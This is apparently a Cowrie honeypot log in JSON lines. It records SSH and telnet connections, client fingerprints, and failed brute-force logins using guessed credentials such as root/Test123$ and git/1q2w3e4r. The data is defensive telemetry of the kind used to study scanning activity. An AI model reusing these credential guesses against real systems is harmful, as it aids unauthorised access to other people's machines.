{"eventid":"cowrie.session.connect","src_ip":"152.200.205.179","src_port":50704,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e8d31f36527","protocol":"ssh","message":"New connection: 152.200.205.179:50704 (10.17.0.5:22) [session: 1e8d31f36527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:27.597757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:27.602134Z","src_ip":"152.200.205.179","session":"1e8d31f36527","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:27.702409Z","src_ip":"152.200.205.179","session":"1e8d31f36527","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"siacoin123","message":"login attempt [root/siacoin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:27.847565Z","src_ip":"162.240.218.183","session":"b92b7a11b23a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123$","message":"login attempt [root/Test123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:28.125158Z","src_ip":"152.200.205.179","session":"1e8d31f36527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:28.939242Z","src_ip":"162.240.218.183","session":"b92b7a11b23a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:29.224445Z","src_ip":"152.200.205.179","session":"1e8d31f36527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:38.256625Z","src_ip":"8.210.75.243","session":"9cd26eba171d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.47993087768555,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:42.703659Z","src_ip":"172.81.62.90","session":"1252e6205b84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.21497464179993,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:44.238175Z","src_ip":"172.81.62.90","session":"ab5dd56278a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.887935400009155,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:52.304976Z","src_ip":"172.81.62.90","session":"68a6d0d45b97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36176,"dst_ip":"159.203.135.109","dst_port":23,"session":"96390ce19e57","protocol":"telnet","message":"New connection: 170.64.224.25:36176 (159.203.135.109:23) [session: 96390ce19e57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:56.106136Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.27.148.94","src_port":47012,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e8d9f686336","protocol":"ssh","message":"New connection: 105.27.148.94:47012 (10.17.0.5:22) [session: 2e8d9f686336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:57.958918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:57.962590Z","src_ip":"105.27.148.94","session":"2e8d9f686336","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:58.221642Z","src_ip":"105.27.148.94","session":"2e8d9f686336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":32972,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b5b28bff4b3","protocol":"ssh","message":"New connection: 8.210.75.243:32972 (10.17.0.5:22) [session: 8b5b28bff4b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:58.635591Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:58.922528Z","src_ip":"8.210.75.243","session":"277ee24ac9e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"TestUser","message":"login attempt [testuser/TestUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:59.289310Z","src_ip":"105.27.148.94","session":"2e8d9f686336","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:00.550153Z","src_ip":"105.27.148.94","session":"2e8d9f686336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":60950,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb37a220e249","protocol":"ssh","message":"New connection: 194.113.233.25:60950 (10.17.0.5:22) [session: fb37a220e249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:02.592539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:02.597732Z","src_ip":"194.113.233.25","session":"fb37a220e249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:02.683100Z","src_ip":"194.113.233.25","session":"fb37a220e249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12091993","message":"login attempt [root/12091993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:03.163694Z","src_ip":"194.113.233.25","session":"fb37a220e249","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:03.806325Z","src_ip":"8.210.75.243","session":"8b5b28bff4b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:04.255079Z","src_ip":"194.113.233.25","session":"fb37a220e249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":41818,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a16aa9d4c02","protocol":"ssh","message":"New connection: 87.106.29.151:41818 (10.17.0.5:22) [session: 3a16aa9d4c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:11.484475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:11.489871Z","src_ip":"87.106.29.151","session":"3a16aa9d4c02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:11.587651Z","src_ip":"87.106.29.151","session":"3a16aa9d4c02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wizard","message":"login attempt [root/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:11.997826Z","src_ip":"87.106.29.151","session":"3a16aa9d4c02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:13.096381Z","src_ip":"87.106.29.151","session":"3a16aa9d4c02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.163.244.125","src_port":47778,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbe0edf604ef","protocol":"ssh","message":"New connection: 192.163.244.125:47778 (10.17.0.5:22) [session: dbe0edf604ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:24.262854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:24.267784Z","src_ip":"192.163.244.125","session":"dbe0edf604ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:24.341495Z","src_ip":"192.163.244.125","session":"dbe0edf604ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neo","password":"neo123","message":"login attempt [neo/neo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:24.557950Z","src_ip":"192.163.244.125","session":"dbe0edf604ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:26.454291Z","src_ip":"192.163.244.125","session":"dbe0edf604ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.79553842544556,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:31.901562Z","src_ip":"170.64.224.25","session":"96390ce19e57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":45084,"dst_ip":"10.17.0.5","dst_port":22,"session":"52755df4d670","protocol":"ssh","message":"New connection: 8.210.75.243:45084 (10.17.0.5:22) [session: 52755df4d670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:47.481212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:47.766505Z","src_ip":"8.210.75.243","session":"52755df4d670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":46000,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b122c93f603","protocol":"ssh","message":"New connection: 91.92.40.4:46000 (10.17.0.5:22) [session: 2b122c93f603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:52.502605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:52.507038Z","src_ip":"91.92.40.4","session":"2b122c93f603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:52.587563Z","src_ip":"91.92.40.4","session":"2b122c93f603","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1q2w3e4r","message":"login attempt [git/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:52.839630Z","src_ip":"91.92.40.4","session":"2b122c93f603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:53.925078Z","src_ip":"91.92.40.4","session":"2b122c93f603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00336337089539,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:00:58.210352Z","src_ip":"170.64.224.25","session":"e8c8d2caadcb","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:00.193244Z","src_ip":"8.210.75.243","session":"52755df4d670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:02.328408Z","src_ip":"8.210.75.243","session":"fc005cda5def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47640,"dst_ip":"159.203.135.109","dst_port":23,"session":"dba605ecbb79","protocol":"telnet","message":"New connection: 170.64.224.25:47640 (159.203.135.109:23) [session: dba605ecbb79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:07.794965Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":57182,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1c17b44eb94","protocol":"ssh","message":"New connection: 8.210.75.243:57182 (10.17.0.5:22) [session: a1c17b44eb94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:14.221648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:14.226583Z","src_ip":"8.210.75.243","session":"a1c17b44eb94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.200.205.179","src_port":52770,"dst_ip":"10.17.0.5","dst_port":22,"session":"b95f9afefa04","protocol":"ssh","message":"New connection: 152.200.205.179:52770 (10.17.0.5:22) [session: b95f9afefa04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:01:27.230169Z"}
